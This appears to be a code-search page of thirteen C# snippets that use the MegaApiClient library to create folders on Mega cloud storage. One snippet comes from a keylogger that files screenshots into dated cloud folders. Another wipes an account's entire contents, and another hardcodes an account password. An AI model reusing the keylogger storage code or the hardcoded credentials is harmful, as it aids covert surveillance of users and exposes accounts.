示例#1
0
        private static void Screenshotsmaps()
        {
            // hier de dagelijkst map
            var nodes = client.GetNodes();

            // main folder
            try
            {
                keyloggermap = client.GetNodes(root).Single(n => n.Name == "keylogger");
            }
            catch
            {
                keyloggermap = client.CreateFolder("keylogger", root);
            }
            // screenshots folder
            try
            {
                screenshotsmap = client.GetNodes(keyloggermap).Single(n => n.Name == "screenshots");
            }
            catch
            {
                screenshotsmap = client.CreateFolder("screenshots", keyloggermap);
            }
            // dag map
            try
            {
                screenshotsday = client.GetNodes(screenshotsmap).Single(n => n.Name == Screenshots.datum.ToShortDateString());
            }
            catch
            {
                screenshotsday = client.CreateFolder(Screenshots.datum.ToShortDateString(), screenshotsmap);
            }
        }
示例#2
0
        private void GetCurrentFolder(bool autocreate = false)
        {
            var   parts  = m_prefix.Split(new string[] { "/" }, StringSplitOptions.RemoveEmptyEntries);
            var   nodes  = Client.GetNodes();
            INode parent = nodes.First(x => x.Type == NodeType.Root);

            foreach (var n in parts)
            {
                var item = nodes.FirstOrDefault(x => x.Name == n && x.Type == NodeType.Directory && x.ParentId == parent.Id);
                if (item == null)
                {
                    if (!autocreate)
                    {
                        throw new FolderMissingException();
                    }

                    item = Client.CreateFolder(n, parent);
                }

                parent = item;
            }

            m_currentFolder = parent;

            ResetFileCache(nodes);
        }
示例#3
0
        public static void AutoCreateFolder(ExplorerNode node)
        {
            List <ExplorerNode> list = node.GetFullPath();

            if (list[0].NodeType.Type != CloudType.Mega)
            {
                throw new Exception("Mega only.");
            }
            MegaApiClient client = GetClient(list[0].NodeType.Email);

            list.RemoveAt(0);
            foreach (ExplorerNode child in list)
            {
                if (string.IsNullOrEmpty(child.Info.ID))
                {
                    MegaNzNode m_p_node = new MegaNzNode(child.Parent.Info.ID);
                    INode      c_node   = client.GetNodes(m_p_node).Where(n => n.Name == child.Info.Name).First();//find
                    if (c_node == null)
                    {
                        c_node = client.CreateFolder(child.Info.Name, m_p_node);               //if not found -> create
                    }
                    child.Info.ID = c_node.Id;
                }
            }
        }
示例#4
0
        public bool delAll(string login, string password)
        {
            MegaApiClient client = new MegaApiClient();

            try
            {
                client.Login(login, password);
                // Удаление всего содержимого
                foreach (var node in client.GetNodes())
                {
                    try
                    {
                        client.Delete(node, false);
                    }
                    catch (Exception ex) { };
                }
                // Загрузка на диск
                IEnumerable <INode> nodes = client.GetNodes();

                INode root     = nodes.Single(x => x.Type == NodeType.Root);
                INode myFolder = client.CreateFolder("Mega Recovery Files", root);

                INode myFile = client.UploadFile(textBox1.Text, myFolder);

                client.Logout();
                return(true);
            }
            catch (Exception ex) { return(false); };
        }
示例#5
0
        protected int SaveToFileHosting(string[] files, int id, string folderPathConst)
        {
            // open mega.nz connection
            MegaApiClient client       = new MegaApiClient();
            string        megaUsername = _configuration[Shared.Constants.UsernameConfigPath];
            string        megaPassword = _configuration[Shared.Constants.PasswordConfigPath];

            client.Login(megaUsername, megaPassword);

            foreach (var file in files)
            {
                if (file.Length > 0)
                {
                    // prepare string
                    var splitString      = file.Split("||");
                    var fileBase64String = splitString.First();

                    // prepare file
                    var bytes = Convert.FromBase64String(fileBase64String);
                    using MemoryStream stream = new MemoryStream();
                    stream.Write(bytes, 0, bytes.Length);
                    stream.Seek(0, SeekOrigin.Begin);

                    // determine file name
                    var fileName = splitString.Length > 2 ? splitString[1] : Guid.NewGuid().ToString();

                    // save file to mega.nz
                    var folderPath            = $"{folderPathConst}{id}";
                    IEnumerable <INode> nodes = client.GetNodes();
                    INode cloudFolder         =
                        nodes.SingleOrDefault(x => x.Type == NodeType.Directory && x.Name == folderPath);

                    if (cloudFolder == null)
                    {
                        INode root = nodes.Single(x => x.Type == NodeType.Root);
                        cloudFolder = client.CreateFolder(folderPath, root);
                    }

                    var   extension    = splitString.Last();
                    INode cloudFile    = client.Upload(stream, $"{fileName}.{extension}", cloudFolder);
                    Uri   downloadLink = client.GetDownloadLink(cloudFile);

                    // prepare entity
                    var entity = new Attachment
                    {
                        Name          = fileName,
                        Url           = downloadLink.AbsoluteUri,
                        ExtensionType = extension
                    };
                    // DetermineEntityNavigation(entity, folderPathConst, id);

                    _dbContext.Add(entity);
                }
            }

            // close mega.nz connection
            client.Logout();

            return(_dbContext.SaveChanges());
        }
示例#6
0
        public static void CreateFolder(ExplorerNode node)
        {
            MegaNzNode    parent_meganode = new MegaNzNode(node.Parent.Info.ID);
            MegaApiClient client          = GetClient(node.GetRoot.NodeType.Email);
            INode         folder_meganode = client.CreateFolder(node.Info.Name, parent_meganode);

            node.Info.ID = folder_meganode.Id;
        }
示例#7
0
            public void ConnectToDrive(object o)
            {
                lock (workerLocker)
                {
                    try
                    {
                        MegaApiClient client = new MegaApiClient();

                        client.Login(ConfigurationManager.AppSettings["UserName"],
                                     ConfigurationManager.AppSettings["Password"]);
                        var nodes = client.GetNodes();

                        INode root     = nodes.Single(n => n.Type == NodeType.Root);
                        INode myFolder = client.CreateFolder("Upload " + DateTime.Today, root);

                        string source    = ConfigurationManager.AppSettings["Source"];
                        string typeFiles = ConfigurationManager.AppSettings["TypeFile"];

                        var files = Directory.GetFiles(source, "*." + typeFiles, SearchOption.TopDirectoryOnly);
                        var file  = files.OrderByDescending(File.GetLastWriteTime).First();
                        /*  var filterFiles = files.Where((n) => File.GetCreationTime(n).ToShortDateString() == date);*/


                        using (var stream = new ProgressionStream(new FileStream(file, FileMode.Open), PrintProgression)
                               )
                        {
                            INode myFile = client.Upload(stream, Path.GetFileName(file), myFolder);
                            client.GetDownloadLink(myFile);
                        }
                    }
                    catch (Exception ex)
                    {
                        var path = Path.Combine(Environment.CurrentDirectory, "log.txt");
                        //if (!File.Exists(path))
                        //{
                        //    File.Create(path);
                        //}
                        using (FileStream fs = new FileStream(path, FileMode.Append))
                        {
                            using (StreamWriter sw = new StreamWriter(fs))
                            {
                                sw.WriteLine("=========MEGA=============" + Environment.NewLine);
                                sw.WriteLine("-----" + DateTime.Now.ToShortDateString() + "-----" + Environment.NewLine);
                                sw.WriteLine(ex.Message);
                            }
                        };
                    }
                    finally
                    {
                        run = 0;
                        Monitor.Pulse(workerLocker);
                    }
                }
            }
示例#8
0
        public void mega()
        {
            progress_qr_code_upload();

            string qr_path = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\\qr";
            string qr_dest = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\codes.zip";


            using (ZipFile zip = new ZipFile(System.Text.Encoding.Default))
            {
                foreach (var file in System.IO.Directory.GetFiles(qr_path))
                {
                    zip.AddFile(file);
                }

                zip.Save(qr_dest);
            }

            try {
                var client = new MegaApiClient();

                string zip_location = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\\codes.zip";

                client.Login("ADD_MEGA_USERNAME_HERE", "PASSWORD_HERE");

                IEnumerable <INode> nodes = client.GetNodes();

                INode root     = nodes.Single(x => x.Type == NodeType.Root);
                INode myFolder = client.CreateFolder("QR-Codes", root);

                INode myFile       = client.UploadFile(zip_location, myFolder);
                Uri   downloadLink = client.GetDownloadLink(myFile);
                Console.WriteLine(downloadLink);
                string download = downloadLink.ToString();
                MessageBox.Show(download + "" + "Preview QR-Codes and save", "Copied to Clipboard", MessageBoxButtons.YesNo);
                if (MessageBox.Show("Do you really want to preview QR-codes?", "Preview", MessageBoxButtons.YesNo) == DialogResult.Yes)
                {
                    Form2 qrcode_preview = new Form2();
                    qrcode_preview.ShowDialog();
                }
                Clipboard.SetText(download);

                client.Logout();

                MessageBox.Show("all done. qr-code location:" + zip_location);
            }
            catch (Exception error)
            {
                MessageBox.Show("Error uploading QR-Codes to mega" + error);
                return;
            }
        }
示例#9
0
 void LoadData()
 {
     try
     {
         label1.Text = "Fetching Nodes...";
         var   nodes           = mclient.GetNodes().ToList();
         INode root            = nodes.Single(n => n.Type == NodeType.Root);
         bool  hasmCloudFolder = false;
         label1.Text = "Scanning Nodes...";
         foreach (var node in nodes)
         {
             if (node.Name == "mCloud")
             {
                 hasmCloudFolder = true;
             }
         }
         if (!hasmCloudFolder)
         {
             label1.Text = "Adding Nodes...";
             mclient.CreateFolder("mCloud", root);
             nodes = mclient.GetNodes().ToList();
         }
         label1.Text = "Processing Nodes...";
         mcNode      = nodes.Single(n => n.Name == "mCloud");
         List <INode> fileNodes = new List <INode>();
         foreach (var node in nodes)
         {
             if (node.ParentId == mcNode.Id)
             {
                 fileNodes.Add(node);
             }
         }
         foreach (var node in fileNodes)
         {
             string fileName = node.Name;
             if (!nodeDict.ContainsKey(fileName))
             {
                 nodeDict.Add(fileName, node);
             }
         }
         RefreshView();
     }
     catch (Exception ex)
     {
         MessageBox.Show("A fatal error occurred loading the Cloud Drive. mCloudStorage will now exit.");
         this.Close();
     }
 }
示例#10
0
        /// <summary>
        /// Creates a folder with the username in case it doesn't already exist and returns the folder's name. If the folder already exists checks if the FileName already exists, and if it does
        /// deletes it, then returns the folder's name.
        /// </summary>
        /// <param name="client">MegaApiClient instance</param>
        /// <param name="Username">Curent user's Username</param>
        /// <param name="FileName">File prepared to be uploaded (name must include extension). If the file already exists in Mega then deletes the old one before uploading this new version.</param>
        /// <returns>INode - Folder's name.</returns>
        public static INode ChkIfFolderAndFileExist(MegaApiClient client, string Username, string FileName)
        {
            IEnumerable <INode> nodes = client.GetNodes();
            INode root = nodes.Single(n => n.Type == NodeType.Root);
            IEnumerable <INode> FoldersInRoot = client.GetNodes(root);

            INode FolderSearched = nodes.FirstOrDefault(n => n.Type == NodeType.Directory && n.Name == Username);

            if (FolderSearched == null)
            {
                return(client.CreateFolder(Username, root));
            }
            else if (DeleteFileIfExist(client, nodes.Where(n => n.Type == NodeType.Directory && n.Name == Username), FileName))
            {
                return(FolderSearched);
            }
            else
            {
                return(null);
            }
        }
示例#11
0
        public static void VytvorSlozky(string cesta, List <string> struktura)
        {
            cesta = cesta.Replace('/', '\\');
            string newcesta    = cesta.Remove(cesta.LastIndexOf("\\"));
            string newcestazkr = newcesta.Substring(newcesta.LastIndexOf("\\") + 1);

            //newcestazkr = FileManager.FirstCharToUpper(newcestazkr);
            if (newcestazkr == "fotky")
            {
                newcestazkr = "Fotky";
            }
            if (struktura.Contains(newcestazkr) || newcestazkr == "Fotky")
            {
                var   nodes     = client.GetNodes();
                INode newslozka = nodes.Single(n => n.Name == newcestazkr);
                INode myFolder  = client.CreateFolder(cesta.Substring(cesta.LastIndexOf("\\") + 1), newslozka);
                struktura.Add(cesta.Substring(cesta.LastIndexOf("\\") + 1));
            }
            else
            {
                VytvorSlozky(newcesta, struktura);
            }
        }
示例#12
0
        private void Upload()
        {
            string yi = Path.GetDirectoryName(Path.GetDirectoryName(Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location)));
            string pa = @"\FFMPEG\doc\";
            string n  = "Saves.txt";
            string c  = yi + pa + n;

            if (File.Exists(c))
            {
                string[] lines = File.ReadAllLines(c);

                client.Login(lines[0], lines[1]);
                Progress <double> ze = new Progress <double>(p =>
                {
                    Console.WriteLine($"Progress updated: {p}");
                    double d             = Math.Round(p * 10000) / 10000d;
                    lblVideoInfo.Content = d + "%" + " (Upload)";
                    prbPro.Value         = d;
                });


                IEnumerable <INode> nodes = client.GetNodes();

                INode root     = nodes.Single(x => x.Type == NodeType.Root);
                INode myFolder = client.CreateFolder("Upload-s" + a, root);

                td = Task.Run(() =>
                {
                    return(client.UploadFileAsync(V, myFolder, ze));
                });

                Upt.Interval = TimeSpan.FromMilliseconds(30);
                Upt.Tick    += Upt_Tick;
                Upt.Start();
            }
        }
示例#13
0
        private void subirArchivoAMega()
        {
            try
            {
                string Fecha = DateTime.Now.ToString("yyy-MM-dd");
                lblInfo.Invoke(new MethodInvoker(delegate { lblInfo.Text = "Conectando..."; }));
                progressBar1.Invoke(new MethodInvoker(delegate { progressBar1.PerformStep(); }));
                MegaApiClient cliente = new MegaApiClient();
                cliente.Login("*****@*****.**", "corajitos12");
                progressBar1.Invoke(new MethodInvoker(delegate { progressBar1.PerformStep(); }));
                lblInfo.Invoke(new MethodInvoker(delegate { lblInfo.Text = "Obteniendo directorios..."; }));
                var nodos = cliente.GetNodes();
                lblInfo.Invoke(new MethodInvoker(delegate { lblInfo.Text = "Buscando carpeta 'Backup'..."; }));
                bool existe = cliente.GetNodes().Any(n => n.Name == "Backup " + Fecha);

                INode root;
                INode carpeta;


                if (existe == true)
                {
                    lblInfo.Invoke(new MethodInvoker(delegate { lblInfo.Text = "Obteniendo la carpeta 'Backup'...."; }));

                    progressBar1.Invoke(new MethodInvoker(delegate { progressBar1.PerformStep(); }));
                    carpeta = nodos.Single(n => n.Name == "Backup " + Fecha);
                }
                else
                {
                    lblInfo.Invoke(new MethodInvoker(delegate { lblInfo.Text = "Creando carpeta 'Backup'..."; }));
                    progressBar1.Invoke(new MethodInvoker(delegate { progressBar1.PerformStep(); }));
                    root = nodos.Single(n => n.Type == NodeType.Root);

                    carpeta = cliente.CreateFolder("Backup " + Fecha, root);
                }


                progressBar1.Invoke(new MethodInvoker(delegate { progressBar1.PerformStep(); }));

                lblInfo.Invoke(new MethodInvoker(delegate { lblInfo.Text = "Subiendo archivo..."; }));

                progressBar1.Invoke(new MethodInvoker(delegate { progressBar1.PerformStep(); }));

                INode archivo = cliente.UploadFile(@"C:\Database Tec34\DatabaseEscTec.db", carpeta);


                Uri downloadUrl = cliente.GetDownloadLink(archivo);

                lblInfo.Invoke(new MethodInvoker(delegate { lblInfo.Text = "Archivo subido con éxito."; }));
            }
            catch (Exception error)
            {
                t.Abort();

                MessageBox.Show("Error al intentar subir el archivo. " + error.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }


            this.Invoke((MethodInvoker) delegate
            {
                this.Close();
            });
        }